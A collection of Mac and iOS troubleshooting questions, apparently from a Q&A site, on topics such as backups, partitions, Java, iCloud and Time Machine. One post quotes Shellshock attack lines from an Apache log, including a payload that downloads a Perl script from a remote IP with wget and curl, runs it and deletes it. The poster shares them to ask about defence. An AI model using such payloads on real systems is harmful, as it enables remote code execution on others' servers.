texts: How can I sync Saved searches to an external hardrive

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Is there an Mac tool I can use to sync saved searches/smart folders to a external hardrive?

Note: I've tried time machine but I can't include the saved searches. With time machine I can only exclude folders I don't want.


texts: MacBook Pro: long time to wake from sleep, what could it be?

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I have a 2011 13-inch entry-level MacBook Pro, which was upgraded almost straight away to Lion.

I consider myself a careful, conscientious user, not installing things I don't need. However, recently, my MacBook Pro has started taking a very long time to wake from sleep.

I understand that it takes a long time to go to sleep, around 15-25 seconds usually. However, before, waking up was almost always instantaneous.

I'd like to know if there are any terminal or gui-based tools that help diagnose this problem. I recently checked pmset -g assertions and that seems to be fine. Any other tools I can use?


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I'm looking to see if the two are interchangeable and if not what the differences are.

If the two in fact have a difference, perhaps adding devices or cases where each are normally used over the other.


texts: Safari pages refuse to scroll on MacBook Pro

texts: I'm repeatedly finding Safari pages cannot scroll up or down in Safari 5.1 on my MacBook Pro. On affected pages, the two finger trackpad gesture has no effect, nor does pressing the up/down keyboard arrows. This behavior happens whether I have tabs open or not. (Right now, I have seven tabs open on one window; pages in three of the tabs refuse to scroll. In another window I have no tabs open; this page also will not scroll.) Reloading pages has no effect.


texts: How can I mount a remote SSH folder on Mac?

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I do not like SFTP client applications, like Cyberduck. I want to access the SSH folder as a local disk driver, where you can read/write/copy/paste files.

I tried fuse4x+sshfs. It works but has a bug: the mounted driver disappears when Mac OS X wakes up, and I can not mount it again except by resetting Mac OS.

Is there a better choice?


texts: Kernel panics; Apple hardware test error codes... Bad memory?

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My MacMini, which I bought new around Thanksgiving 2010 from Amazon, has been having quite a few kernel panics. They aren't consistent in any way, but they have become more frequent and now many apps seem to be crashing more as well and I have also noticed Spotlight and Alfred have become painfully slow.

I was about to reinstall Snow Leopard and start from scratch after making a SuperDuper clone on an external for backup when I read on the Apple CD that you can run an "Apple Hardware Test" by holding "D" during startup.

I figured it was worth checking out. Especially since my memory is non-original. I had put 2x 4GB Corsair sticks in it right away that I also got from Amazon a few months before then which I had used in my previous early-2009 MacMini. The memory seemed to have worked fine in both computers. All 8 GB were being recognized. These kernel panics only started happening a few months ago.

Now the Apple Hardware tests, which I tried in every conceivable configuration; swapping slots, removing one then the other etc., did in fact show errors. I wrote down two of the error codes. I believe there were only two unique codes; I suppose the different stick arrangements I used is cause for the variances, but it's possible there were more, but I know for a fact they all started out with the same characters, 4MEM/9/40000000: .

4MEM/9/40000000: 0xa90c1418 & 4MEM/9/40000000: 0xa95de698

However, the strange thing is the Apple Hardware Test only showed this error when I had BOTH sticks installed; either stick in either slot on it's own showed no error. As I mentioned earlier, I tested all possible configurations because I had read that sometimes it could be a faulty slot.

So, with that information, does anyone have an idea how to fix my Mac. Do I need to replace one or both sticks? Is it something else? Is there an app I can use to help diagnose the issue?

As I'm writing, I realized I can still try using both the original sticks that came with the Mac at the same time, but I need to find them. I may wait until tomorrow to try that.


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I would like to have Mac Spotlight avoid indexing volumes with the name prefix of "backup". As in "backupA", "backupB". and "backupXYZ123". Is there any way to use wildcard in Spotlight Privacy? As in, don't index "backup*"?

Now, as far as I can tell, Spotlight Privacy doesn't let to text-edit the names of things it isn't supposed to index. So it isn't even obvious how to specify "backup*".

I know you can use metacharacters in Spotlight searches, but I'd like to use them in Spotlight Privacy.


texts: How seamlessly does the Magic Trackpad 2 pair with a Mac when plugged in?

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I've got an external monitor and keyboard, and I switch between two different MacBook Pros by plugging a USB and monitor cable into whichever one I need to use. I'm considering adding a Magic Trackpad 2 to the setup.

If I keep it plugged in, and switch it from one computer to another, will it instantly and automatically pair with whichever machine it's plugged into? Or will I have to open System Preferences every time or do something else to get the new computer to recognize the trackpad?

Again, what I'm imagining is keeping the Magic Trackpad plugged in to a USB hub at all times, and switching the hub from computer to computer.


texts: Dock crashes on network aliases to offline server

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I have several shortcuts to network folders in my dock. Since I'm running El Capitan, the Dock crashes and will not restart properly after killing it when those network connections are not available (the server is either off, or I'm on another netowork).

Is this a known issue? Are there any workarounds? I can't find any related topics.


texts: Preventing ssh command from opening xquartz on every login

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Whenever I use ssh, after I type the password, xQuartz pop ups in the dock. It is a similar question to preventing ssh command from opening xquartz on every session, but in my case, I want X forwarding, so I have set ForwardX11 to yes in the config file but now I do not want opening XQuartz in dock every time I log into a machine via ssh command. What should I do? I have already tried to change also /etc/ssh/ssh_config (where everything was anyway commented out).

I am using Catalina.


texts: imagemagick's convert jpeg to pdf rotates even pages 180°

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When I use imagemagick's convert jpeg to pdf tool:

convert *.jpeg output.pdf

an output PDF is created, but what I've noticed is that the even pages get rotated by 180°.

What's even stranger is that if I open the even pages with Preview, rotate them 90° right and then rotate them 90° left, and then save it and run the convert command again, the page doesn't get rotated 180°.

Is there anything I'm doing wrong over here?


texts: How to show current time in mac terminal prompt?

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I have this:

PS1+="\D{%H:%M:%S}";

But this displays the time the prompt started. I want the prompt to show the current 12 hour (not 24 hours) time live (so it keeps changing, and then when a command is made, save that time before going to the next prompt (so, without pressing enter / return on the keyboard). So the time the command was made is saved and visible too.

Is this live updating of a time-based prompt possible?


texts: I downloaded Java and DocFetcher, but they try to open in Calibre

texts: I downloaded Java and DocFetcher online, but they downloaded as dmg files and when I try to open them, they try to open in Calibre, an e-book software program.  What am I doing wrong?


texts: How can I speed up dismissal animation of OS X notification dialog boxes?

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When I click to dismiss a notification dialog box in OS X Yosemite, it doesn't disappear immediately: it makes a kind of puff-of-smoke animation before it disappears. When you have more than one notification on the screen and click to dismiss the first one, not only does OS X do the puff-of-smoke animation but it also does a sliding animation to move the next notification box up to the top of the list. All of this takes time, which is not only annoying, but a real waste of time when you have to dismiss many notifications on the screen.

Is there a way to shorten the duration of those animations, or better yet, dismiss all visible notifications in one step?


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I am thoroughly confused by the Apple ID, Email Address, User Name, iCloud conurbation it is to me an almost impenetrable mess. The best answer I have found here is below and I would appreciate some clarification. What I want to do is change the @outlook address I was forced to use to set up Apple ID to an @icloud address. The clarification I need is in the original answer below, the reason is I am conbverting an 86 year old man converting from Microsoft to his first iMac 21 last week! and I need to keep it very simple, trying to explain why he needs a microsoft email address to access his Apple ID is beyond my powers - and his. So I want to set it up with an @icloud address - please help 8-)

The answer I found that explains all except the crucial bits is below in quotes, question mixed in for clarity and context.

"Sign out of iCloud, the iTunes & App store, FaceTime, Find My Friends, Find My iPhone,and iMessage on each device that uses your Apple ID."

OK no problem I don't have any of that,the iMac 21 is the only Apple he has.

"Sign in to your Apple ID account page."

Fine used @outlook address I had to set up specially to get a Apple ID

"In the Account section, click Edit > Change Email Address. Enter the email address you want to use as your Apple ID."

I want to use an i-Cloud address - how and where do I get an i-cloud address set up?

"A verification code will be sent to your new email address."

Yeah brilliant what new address how can I use an email address (@icloud) I have not set up and have no password or login for?

"Enter the verification code from the email into the fields provided and start using your updated Apple ID. Didn't get the email?"

Er no - I have no icloud address yet to get a verification on?

You see the reason for my utter confusion - I thought Linux could be a bit tricky but this bit of Apple Lore is a total mystery seems I am missing a fundamental fact here, does an icloud address get set up automatically and how do I access the thing???. TIA  Jonah


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I'm trying to open a file in Numbers via terminal. I found the suggested command here: How to open files via Terminal
So I tried:
open -a "Numbers" filepath/filename

And I get:
bash: open: command not found

As a test I used open to simply open a photo via terminal and that worked fine so I'm not sure where I went wrong above.


texts: Clean install of OS X, nothing happening at OS X Utilities

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I'm trying to do a clean install OS X Mavericks. Previously I had Lion and thought it was time to get something a little more recent. I don't think my 2010 MacBook Pro could handle Sierra so I had a friend send over the Mavericks install file

I made a bootable USB and then erased my hard drive through Disk Utility, I then created 2 partitions.

Now, after booting up my Mac, I seem to be stuck on the 'OS X Utilities' bit. I click 'continue' after selecting to install OS X, and nothing happens.

Tried restarting but to no avail.

Might my bootable install be corrupted?


texts: iPhone wipe- "Verification Failed. There was a problem connecting to the server."

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I wiped my iPhone 5s, but in the process of re-setting it up, it says "verification failed, there was a problem connecting to the server" after I tried submitting the two-factor identification code- even though the wifi is working.
I tried to call apple support, but I have to have some "IBN"(?) number that I can only get to by going to settings, which I can't do because my iPhone isn't functioning yet. This number supposedly also comes with the packaging which I don't have anymore because I got the phone almost a year ago.

So, right now I'm stuck with a phone that won't log in, and I can't reach customer support about it. I've tried doing a hard reset with the lock and home button and retrying, but it won't work. What do I do?


texts: Are the files given permission with chmod +x saved somewhere?

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I am currently following one python3 course at the time. For easy execution, they suggest running the following code:

chmod +x pythonFileName.py

Doing so, made it possible to run the file using: ./pythonFileName.py and this is of course much easier then navigation the entire folder structure to find my scripts.

I am wondering, are these files copied to any hidden folder? How does this command even work? I mean how does he know the right path? If I delete the script do I need to run another code? Delete the copied file from a hidden folder?


texts: Automator Print Plugin: Append Output to Existing PDF File

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I would like to create a Print Plugin to append the output to an existing PDF File.

Here are my steps so far:

Ask for Finder Items
Combine PDF Pages (append)
Open Finder Items

It sort of does the job, but:

It prepends the output: the new output is inserted at the beginning rather than the end.
I creates a new file.

I can handle the new file situation, I suppose, by doing a Save As…, but I don’t want the new output to be placed at the beginning.

How can I append the output at the end of an existing PDF file?


texts: Boot Partition doesn't have the correct storage space

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So my SSD has 500 GB of storage I have only one Partition (the Macintosh HD Partition) but it only has ~100 GB storage space.

Is there any way I can get my total ~500 GB of storage on my partition?

here is what shows up in terminal (command diskutil list)


texts: I have added some songs on Apple Music for my sister. But even now after I have removed then they still appear on the for you tab. How can I clear my history in apple music. Reset it. I know I can choose different genres but after that some of my sister music still appear on the four you tab. Especially on the iPhone where I can scroll down to it.


texts: iMessage on Mountain Lion disconnecting AIM and GTalk

texts: I'm not sure what the cause is, but I never had this issue until I installed Mountain Lion.  I had the iMessage Beta prior to installing Mountain Lion and I did not uninstall it after.  However, I get disconnected constantly and its been going on and off.  I have a lot of difficulty connecting to AIM, but GTalk is disconnecting frequently.  I am not sure where to start.


texts: How to search for emails sent by a specific person in iOS Mail

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I used to be able to search for emails sent by "Jack Tan" by using the FROM toolbar in the mailbox

After iOS 7 update, it seems the From, All, Subject, and To toolbar has disappeared. It now looks like this when i attempt to search (red bar to indicate the toolbar is gone)

This has not allowed me to search for a specific sender in my Mail. When I attempt to search in my Mail for (e.g. "Jack Tan"), the results will be emails whose content contains "Jack Tan".

I want to be able to search for emails sent by "Jack Tan"


texts: I have accidentally changed my user ID picture on my Macbook Pro (running OS X 10.7.5). The original user ID snapshot is very dear to me and I can't find the original file saved anywhere. Is there a way to reset/recover the original User ID snapshot? I have tried to find it under Library/ User Pictures/ but only the pre-installed icons seem to be showing here. Any help would be much appreciated.


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Did Apple change the display adapter from MacBook 2006 to MacBook Pro 2010?

I thought they were the same, (similar size) but they actually differ.

Do I have to buy a new adapter?


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The login screen seems to be 'squeezed' into the lower left corner.  Not sure what event caused this to happen.  Macbook Air, El Capitan 10.11.6

What is the root cause of the problem and how can this be corrected?


texts: Resize Viewport on Macbook Air Because part of screen is broken

texts: There's a thin black bar that doesn't show anything along the right side of my macbook air's screen (I dropped it). Is there a way to resize things so that osx doesn't use that part of the screen at all?


texts: When trying to save a .jpg or .jpeg, Safari tries to force .dms extension onto end?

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Not really the most pressing question, but it's bugged me enough to get an account and try my luck...

When I try to save any .jpg or .jpeg, Safari forces a .dms extension onto the end of it, and there's no other way to save that picture. Usually with most things like this, a solution is readily available if you Google for it, but I couldn't find an adequate answer. It's been like this for months. Sometimes it goes away, only to come back the next time I try to save a picture.


texts: Backing up full resolution photos from iPhone while using 'Optimize iPhone Storage' with iCloud Photo Library

texts: I want to help a friend get setup with iCloud Photo Library. They have an iOS device without a lot of free space and they have a PC and an old Mac that can't run Photos.app. In addition to using iCloud Photo Library they want to back up their original photos from their iPhone to their PC or old Mac. I don't think this would be an issue except they don't have enough space to store all of their originals on their iOS device so they must use the 'Optimize iPhone Storage' setting. My fear is that they will only be backing up thumbnails when they go to backup their photos to their desktop. Is there anyway around this?


texts: How can I enter a app, that has to be updated, purchased in a different apple ID without having to delete it?

texts: So, I have this music app that I want to enter, but I can't since it needs to be updated and is in another ID, but the musics that I have in the app can not be loaded somewhere else without entering the app, I searched on how to update a app that was purchased in a different ID, but I would have to delete it and lose all the music in it, is there anyway that I can enter the app without updating it or another way to update it without having to delete it?


texts: How to use control key with remote access app using an iPad and bluetooth keyboard?

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I use Apple Bluetooth keyboard with iPad. It works well, but the control key doesn't work with remote access program such as iSSH, Remoter VNC, LogMeIn and Remoter VNC. In order to use control key with those apps, I have to touch the 'Control' key on screen then hit the keyboard.

Is there any way that I can use bluetooth control key with those remote access apps?

ADDED

From http://groups.google.com/group/issh/browse_thread/thread/8b91ce601edb2283/3ed3f672964f1ae5?lnk=gst&q=bluetooth+control#3ed3f672964f1ae5

  The Apple iOS API does not make meta key statuses from physical
  keyboards available to apps.  The Option key workaround is only
  workable on Apple BT and dock keyboards.  As soon as the API changes
  I'll make sure this gets fixed in iSSH.


texts: Activity Monitor - deleted task takes up CPU

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Since today, I have an issue with a deleted task called "deleted" on my Mac. It takes up a lot of CPU, but it tends to turn off and on sporadically and it messes with the fans on my mac. I can quit it, but it just keeps coming back. I know what "deleted" does, and I also know that there are issues with iStat, but I don't have that downloaded.
Does anyone have some advice? Because it really makes my pc slow


texts: How do you change colour scheme between *panes* inside iTerm2 + oh-my-zsh?

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I have seen a lot of solutions that allow changing of tab colour upon remote accessing into a server (see for example: https://gist.github.com/wadey/1140259 and many more).

What I want is to change the colour of the split pane. The workflow that I normally follow is:

Open iTerm2
Split panes and remote the right half into another server
While keeping the left half on my local machine

I don't have quite the background of bash/zsh, is there a way to achieve this?


texts: Boot mac with os select option everytime

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By holding down option key while booting I can select which OS I want to boot into. This is a bit hit and miss for me, sometimes the option key is not recognised and it just boots into my default OS.

Is there a way to boot into the OS select option everytime without pressing the option key ?

Thanks


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I downloaded and installed Java 1.7 from this site.

When I run the Java Control Panel, I could check I have it correctly installed.

However, when I checked the Java version from command line, the version that I use is Java 1.6.

java -version
java version "1.6.0_33"
Java(TM) SE Runtime Environment (build 1.6.0_33-b03-424-11M3720)
Java HotSpot(TM) 64-Bit Server VM (build 20.8-b03-424, mixed mode)

The system directory doesn't have the 1.7.

What's wrong with this?

Where is the Java 1.7 is installed?
How can I make the Java 1.7 as default Java?


texts: Time Machine cannot locate external disk

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I have an iMac11,2 running MacOS 10.8.5. Time Machine (TM) has made backup on a LaCie 320GB Firewire400 HDD for almost 2 years now. It stopped working 2 weeks ago, stuck on 'looking for drive'. My HDD is full, but I am quite sure it already deleted older backups successfully. I tried:

to connect a new external HDD (Seagate 2TB with USB cover) and switch TM to this, formatted in MacOS extended,journalized (no encryption);
to turn off TM, delete /System/Preferences/com.apple.TimeMachine.plist, turn on TM, reselect my disk; once again rebooting before turning on TM;
entered StarWars mode, copied com.apple.TimeMachine.plist from my last working backup to my internal HDD;
copied Backups.backupdb from the 320GB to the 2TB disk; I can enter StarWars mode and browse, but still the infinite 'looking for drive' message
checked the drive permissions: 320GB's Backups.backupdb is drwxr-xr-x+ root:staff. 2TB is similar due to the copy. I am currently changing the 2TB's Backups.backupdb persmissions to drwxrwxr-x+ root:staff recursively, but it takes some time, I will post the result later. Took the night to do that, still no luck.

Any ideas?


texts: I updated to 10.9.2 and now SSL is broken. How do I fix this?

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As per the title, I upgraded my Mac to Mavericks 10.9.2, and now a bunch of websites which use SSL (aka https) don't work!

What do I do?


texts: Development environment in Visual Studio using Macbook Pro

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Platform: Yosemite 10.10.4; MacbookPro 15" Retina (mid-2015).
Questions regarding development on MacOS:

Does Visual Studio for MacOS have all development and debugging capabilities (especially in C, C++, and C# languages), like which Visual Studio for Windows has ?
General question - what are capability differences between Professional and Enterprise edition (of Visual Studio) ?
Visual Studio online installation - when is this manner preferred, and what are its cons and pros?
This link gives download of free version for students. Clicking on it - I see there is no 64-bit version, and the existing 32-bit, and 32-bit-Web-installer don't make "Download" button pressable. Is there a working option to download and install it (appears there as Visual Studio Professional 2013 with Update 4)?
Is Visual Studio running smoothly (performance, drivers, development capabilities), while installed -> on Windows -> on Parallels (virtual machine) ?
Is Visual Studio running smoothly (performance, drivers, development capabilities), while installed -> on Windows, using Bootcamp as dual-boot utility ("pure" Windows)?
What is the best combination-steps solution (convenience, performance, capabilities) for developing in Visual Studio on Macbook Pro?


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I'm not sure when it has been started to make clicking sounds randomly, but it has been bugging me a while. Any idea that what could be cause this problem?

I'm using MAC OS X 10.8.2 and late 2009 13 inches macbook pro.


texts: Is it possible to reinstall mac os x el capitan to a macbook pro (2009) using a bootable usb made in windows? The internal disk is already erased and empty.


texts: Changing iCloud id to email: The requested application was not found on this server

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I am trying out iCloud right now but it keeps telling me:

An Apple ID that is an email address is required to use iCloud.

I am using a non email username(that I use for itunes and the app store) so I followed the link to convert it but going to https://appleid.apple.com redirects me to:

https://appleid.apple.com/cgi-bin/WebObjects/MyAppleId.woa/

and gives me the above error. So what should I do now?


texts: Fake GPS location for specific app on iPhone

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Is there a way to give an app a specific location that is not the iPhone's true location?

I.e., I don't want to block location services for an app, but rather I want to make the app think it is getting location services but that the current location is different from the phone's actual location.


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My MacBook Air won't turn on. I plugged in the charger and it says it's charging. When I turn it on, the light instantly turns green for a few seconds, and then it goes to amber.

What's going on?

I also had an error before, when it was alive: the dreaded frozen bluetooth keyboard assistant error. I didn't make that one go away but I'm not sure if it relates to this issue.


texts: Macbook Pro (Early 2011) to 2560x1440 monitor?

texts: I'm wondering whether I can connect my MBP to a 2560x1440 monitor and whether anyone else has has any success in doing so.


texts: Disk Utility in High Sierra 10.13.1 partitioning fail

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Before moving to Mac Sierra, main media disk was portioned in two volumes;
Main with OS space 200GB, Subsidiary with 800 GB.

I wanted to delete the subsidiary to merge it again with the Main, and then resize the Main to 400GB, and the remaining 600GB to a new volume.

It didn't work:
main stayed, the previous Sub volume of 600 disappeared completely and was in hidden modus added to the Recovery HD.

Now we have the following status:

iMacvanFreddy2:~ freddyvandercruyssen$ diskutil list
/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *1.0 TB     disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                  Apple_HFS Macintosh HD            201.2 GB   disk0s2
   3:                 Apple_Boot Recovery HD             798.8 GB   disk0s3

/dev/disk1 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:     FDisk_partition_scheme                        *15.5 GB    disk1
   1:                       0xEF                         4.1 MB     disk1s2

/dev/disk2 (disk image):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:     Apple_partition_scheme                        +536.9 MB   disk2
   1:        Apple_partition_map                         32.3 KB    disk2s1
   2:                  Apple_HFS StellarPartitionManager 536.9 MB   disk2s2

diskutil list
/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *1.0 TB     disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                  Apple_HFS Macintosh HD            201.2 GB   disk0s2
   3:                 Apple_Boot Recovery HD             798.8 GB   disk0s3

/dev/disk1 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:     FDisk_partition_scheme                        *15.5 GB    disk1
   1:                       0xEF                         4.1 MB     disk1s2

what commands to enter to resize the HD recovery disk, and to regain the rest of the volume in a new part


texts: Which graphics cards or integrated GPUs support metal?

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Apple announced metal for OS X.

Apple's website clearly states some features will not be available on all macs, which seems to refer to metal support.

But is there a list of already confirmed GPUs, most importantly are intel integrated GPUs supported?

This would help me choosing a future dev computer with metal support this summer.

We know Metal on iOS is linked to OpenGL ES 3.0 support. All devices which support OpenGL ES 3 also support Metal.

Is there a direct link between Metal support and a specific version of OpenGL (and maybe unrelated to graphics OpenCL)?


texts: is there a way to store mail on an external hard drive using apple mail?

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I've been trying to save up space and for this reason I'm using the "don't keep copies of any messages" option.

I was thinking though, can I instead choose to save all emails and attachments, but an external hard drive? I'd like the best of both options: when hard drive is not connected it behaves exactly as "don't keep copies of any messages", when connected it has the possibility to search all mail.

Apple seem to want me not to find where mail is stored, and does not have an option in the preferences to do what I want (that I'm aware of).

Any suggestions?


texts: I am trying to apply for the WWDC 2015 scholarship. I have an app that record trails (like Runkeeper) that I'd like to submit for the scholarship (and submit it to the App Store). However, in the scholarship app requirements, it states that the app must tell something about the developer, and the app must have the developer's name as its name. However, the app that I'm trying to submit neither tells about me, nor does it have my name as its name. Does the scholarship accept these kind of apps? I could extend my app to include info about me. But does Apple allow submitting an app to the app store and modifying it so it abides the scholarship requirements? I'm sorry if my question sound stupid :)


texts: What build flags are available for brew install of gcc?

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I'm curious as to what build flags are available to me when installing gcc 4.8 using brew.

This question explains how to install gcc 4.8 using brew, but only specifies two possible flags i.e (--enable-cxx and --enable-fortran).

Is there a list of what's available or can someone iterate them for me?

If it matters I am running OS X 10.7.5 on the Intel i5 dual core.


texts: Accessing via 127.0.0.1 via home network

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I am running Yosemite on a MacPro.
I have an AMPPS installation with a file sharing database app running within it.

I access the files via 127.0.0.1 on a browser running on the Mac. How can I set this up to allow access from within the rest of my home network, using that address?


texts: Office Mac 16 - Disable recent items list

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All Office applications offer a Open Recent... submenu (under File menu) that lists recent opened files.
Is there a way to disable Open Recent... or set to zero the number of listed files?

Why I want to disable Open Recent...:
The mentioned submenu is usefull. However the application attempts to access all listed recent files when File menu is selected (don't ask my why...)
If a recent file is stored on a unmounted disk image or network share the finder attempts to mount the volume.


texts: Apple hardware issue. Battery not charging, service recommended

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Battery not charging. Service recommended.
I bought this MacBook Pro 13 inch retina exactly 5 years ago and it was working perfectly fine until now. But, all of a sudden it stopped working, then I plugged in the power adapter and tried to power it on, it started with a chime but took way longer than usual to boot up. On the home screen, it showed battery not charging, service recommended.
I went to  store, after inspecting the Mac for just a minute they told that the battery needs to be replaced and the fare they mentioned is very high. So, I bought a battery with one year warranty and replaced it myself with the help of ifixit document. Everything is fine and the Mac booted up. Now, in the Mac home screen, same problem again, the battery is not charging even after plugging the power adapter for 12 hours continously. The cycle count of the new battery is 0.
I'm unable to understand what the problem is!! The Mac works perfectly fine with the power adapter plugged in and the magsafe light is amber. As soon as I disconnect the power adapter, the Mac stops working and shuts down.
I ran the  diagnostics and the response codes were PPP003 and PPT006.
I tried different things to identify the problem:-
changed the power adapter, it's still the same.
Cleaned the contacts between power adapter and macbook pro, it's still the same.
Reset SMC, it's still the same.
Reset PRAM, it's still the same.
Please help me out!!!


texts: How can I force Safari to Save As webpage?

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Sometimes, you can't save the page you want (actually I don't know why this happens).
How can I force the Safari to Save As?

URL:What features of Mavericks are beneficial to you?


texts: Can't boot Mac OS after applying restoring from InstallESD.dmg

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So I got a very old Macbook Pro to deal with. It comes with the Mac OS X Lion but nobody seems to know its password because it's a rather dated company asset. I tried to wipe it and reinstall the OS via internet recovery, but it requires the original Apple ID by which this MacBook Pro was purchased which I don't have either. I said so because I tried my own Apple ID and it only told me something like service not available/cannot connect to the server while the internet was perfectly fine.
So I downloaded the installer of Mac OS and extracted the InstallESD.dmg, then used it to restore the OS partition after erasing the whole OS partition. However, it seems the installed OS can't boot, as the start disk is not chosen. But in the start disk list, I can only see either a network server of our company, or the Flash drive I used to restore the dmg file. Is there any way I can resolve the matter please?


texts: /Library/Java - deleted it, how to restore?

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I'm having problems with long shutdown times and I read somewhere that deleting /Library/Java would solve it, so I did. It didn't do sh*t.

What was the content of that folder (a screenshot might help), and is there a way to restore it? (sudo rm -r'd it, ftw)


texts: Why is the minimize window function disabled sometimes?

texts: Once in a while, the yellow minimize button on some windows is greyed out, and the Window → Minimize menu entry is likewise disabled. Right now, for example, this is the case with two open Terminal windows. If I open a new Terminal window, it can be minimized, but the old ones remain unminimizable (if that's a word). I tend to think of this as a bug. Or is it a feature? If so, what causes it, and what can I do to enable minimization of these windows?


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I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:

82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""
173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.

Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not recompiling bash) to reduce my risks?


texts: How to automatically type pre-defined text with a simple command on IOS?

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On IOS 14.4 or above, is there any way to automate/simulate the process of entering text into the currently focused textfield, (even a password textfield)?
In an ideal world, with the text cursor blinking, you could just say, "Hey Siri, type string_5" where string_5 has been predefined as your email address or password, for example***... or maybe use some kind of keyboard plug-in.
But you can't do that at the moment... or can you??
What I've tried so far:

The "Paste It" keyboard app.

Result: Doesn't work / app is seemingy broken.  Even if it did work, for some asinine reason, it needs internet access and "the developer can see whatever you type."  No thanks.  If there were a keyboard app with this feature... that doesn't use the internet, and also works, that would be nice.

The Text Replacement feature of IOS, such that, for example, typing "ezpz" results in "mysuperlongemailaddress@place.com" being entered.

Result: Works well, but this technique won't work for password fields.

The Shortcuts app.

Result: I haven't found a way of accomplishing what I'm trying to do.  I know the Shortcuts app can do scripting and all kinds of stuff so many it's possible?

Just telling Siri, "type [the stuff I want to type]" or "paste [stuff]."

Result: Either it doesn't work at all or she thinks I want to send a text message.  Siri doesn't understand "type into the currently focused textfield."
*** - The username/password use case is just an example.  Password managers are of no use to me.  I don't want to use one and also I'm using Microsoft Edge, so I don't think they would work, anyway.


texts: App for mac that automatically rearranges apps when I plug in to an external monitor

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I'm looking for an app for my mac that automatically rearranges apps when I plug in to an external monitor.

An app that let's me arrange windows in certain positions and save them as configurations that I can select later to reposition them.

Something a lot like Stay (I've tried in the past) but with multiple named configurations that I could apply. Stay also doesn't work with Adobe's Create Suite of tools.


texts: Contacts has trouble syncing with the Google account. What to do?

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I have Contacts (Version 8.0 (1365)) running under Mac OS X 10.9.1. I have it connected with my Google account. But it keeps showing that it is busy syncing. Changes made on other devices don't come through. (Other devices do sync with each other.) How can I solve this?

NB: After some time the "wheel" disappears, but still the new contact isn't there...


texts: Invisible Space preventing me from growing HD partition to original size

texts: I want to restore my original Macintosh HD disk to its maximum size however in the partition map which should be 121.33GB it only adds up to 84GB. How can i get this "invisible" space back onto my Macintosh HD.


texts: First of all, is there such a thing? All I want to do is be able to import film clips from DVDs into iMovie so I can make groovy youtube videos. Any suggestions for a Mac 10.4.11 user?


texts: How to Disable USB 3.0 and USB 2.0 while keeping USB 1.0/1.1 on Mac Mini?

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Is it possible to disable both USB 3.0 and USB 2.0 support, while keeping USB 1.0/1.1 support, on my 2012 Mac Mini, under OS X 10.13 High Sierra? Perhaps by removing certain kernel drivers while leaving others in-place?

I need only USB 1.0/1.1 support to allow a simple USB keyboard + mouse to be connected.

I am concerned about physical hardware-based DMA attacks on my Mac Mini with USB 3.0 ports. (Because USB 3.0 can be used as an avenue for direct access to the Mac's internal PCIe bus.)

(I will be disabling or physically removing all other interfaces on the device, i.e. epoxying the Lightning and Firewire connectors so they are unusable, epoxying the Mac Mini's case shut so it becomes tamper-evident, removing the 802.11 wifi and Bluetooth boards, etc. I just need a dumb USB 1.0/1.1 port for keyboard, and an Ethernet RJ45 port.)


texts: Automatically print incoming email on an iPad

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I'd like to automatically print all incoming email to my printer.
I don't think there's any way to do this with the native mail client, perhaps there is another app that does this?
It's definitley possible to do this with the desktop versions of Outlook or Thunderbird, I'm trying to set this up on an iPad.


texts: Time Machine wants to decrypt the backup volume

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I replaced the ssd in my mbp.  Rather than simply restore from time machine, I reformatted and did a fresh install of Mojave 10.14, I like to start from scratch every so often and this seemed like a good time.

The computer is backed up via an unencrypted TM backup on an encrypted backup volume, which is an HFS+ volume on a HDD connected via USB.

Now I want to preserve the old TM backup, and start a new TM backup on the same disk. I want the backup to not be encrypted, and the backup volume to remain encrypted.

So I went to TM preference pane, click "select disk", click the volume, uncheck "encrypt backups", click "use disk." The OS throws up a modal that says "The password for the disk "DiskName" is required to turn off encryption." When I fill in the text box, the button "Turn off Encryption" becomes avaialable.

Again, the existing TM backup is not encrypted.

What happens if I click Turn off Encryption? And how can I get from here to where I want to be, with a volume that IS encrypted, and a backup that IS NOT encrypted?


texts: Make a file a Stationery pad via command line

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Is there a way to set make a file into a Stationery pad from the command line?

You can do it by clicking "Get info" on a file and checking the box, but I would like to do it without clicking.

An AppleScript solution would be useful also, but GUI scripting is off limits.


texts: Mac OS upgrade probably caused screen problems

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I have a Mac Mini 2018. I have a main monitor which is connected using the HDMI output, and a second monitor which uses a Thunderbolt port with a Thunderbolt-to-HDMI adapter.
After working just fine for a couple of years, the second monitor started going dark, randomly, two or three times a day. Unplugging and re-plugging it solves the problem.
This does not appear to be a hardware problem. It happens with different sets of monitors and cables. I have sets of monitors and cables both at home and at work, and it happens in both places.
When the screen goes dark the mouse is still visible and I can move the white-outlined pointer around the dark screen.
This may have started happening after I did a recent Catalina upgrade, but I'm not sure. I'm currently running Catalina 10.15.7.
What could this be?


texts: Stop holiday/christmas/spoken word from playing in iTunes DJ?

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Whilst I like Herb Albert and his Marijuana Brass Band dropping a christmas phat one, I don't appreciate it when it's July

How can I prevent them from appearing in the playlist?


texts: Which Airport to use for primary WiFi router, Express or Extreme?

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I've been using an AirPort Express 802.11n as my wifi router. I wanted to extend my network to another part of my house and someone recently gave me an Airport Extreme 802.11n. It was easy to set up, extending the Express signal, and it seems to be working.

